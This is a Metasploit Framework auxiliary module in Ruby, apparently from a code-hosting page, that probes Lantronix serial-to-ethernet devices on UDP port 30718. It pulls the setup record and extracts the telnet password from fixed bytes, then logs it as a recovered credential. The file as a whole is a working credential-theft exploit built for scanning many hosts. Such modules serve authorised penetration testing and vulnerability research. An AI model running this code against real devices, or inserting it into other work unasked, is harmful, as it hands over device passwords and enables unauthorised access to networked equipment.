95 lines
2.2 KiB
Ruby
95 lines
2.2 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit4 < Msf::Auxiliary
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include Msf::Exploit::Remote::Udp
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Lantronix Telnet Password Recovery',
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'Description' => %q{
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This module retrieves the setup record from Lantronix serial-to-ethernet
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devices via the config port (30718/udp, enabled by default) and extracts the
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telnet password. It has been tested successfully on a Lantronix Device Server
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with software version V5.8.0.1.
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},
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'Author' => 'jgor',
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'License' => MSF_LICENSE
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)
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register_options(
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[
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Opt::CHOST,
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Opt::RPORT(30718)
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], self.class)
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end
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def run_host(ip)
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setup_probe = "\x00\x00\x00\xF8"
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password = nil
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begin
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# Create an unbound UDP socket if no CHOST is specified, otherwise
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# create a UDP socket bound to CHOST (in order to avail of pivoting)
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udp_sock = Rex::Socket::Udp.create( {
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'LocalHost' => datastore['CHOST'] || nil,
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'PeerHost' => ip,
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'PeerPort' => datastore['RPORT'],
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'Context' =>
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{
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'Msf' => framework,
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'MsfExploit' => self
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}
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})
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udp_sock.put(setup_probe)
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res = udp_sock.recvfrom(65535, 0.5) and res[1]
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if res
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password = parse_reply(res)
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end
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rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused, ::IOError
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print_error("Connection error")
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rescue ::Interrupt
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raise $!
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rescue ::Exception => e
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print_error("Unknown error: #{e.class} #{e}")
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ensure
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udp_sock.close if udp_sock
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end
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if password
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print_good("#{rhost} - Telnet password found: #{password.to_s}")
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report_auth_info({
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:host => rhost,
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:port => 9999,
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:sname => 'telnet',
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:duplicate_ok => false,
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:pass => password,
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})
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end
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end
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def parse_reply(pkt)
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setup_record = pkt[0]
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# If response is a setup record, extract password bytes 13-16
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if setup_record[3].ord == 0xF9
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return setup_record[12,4]
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else
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return nil
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end
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end
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end
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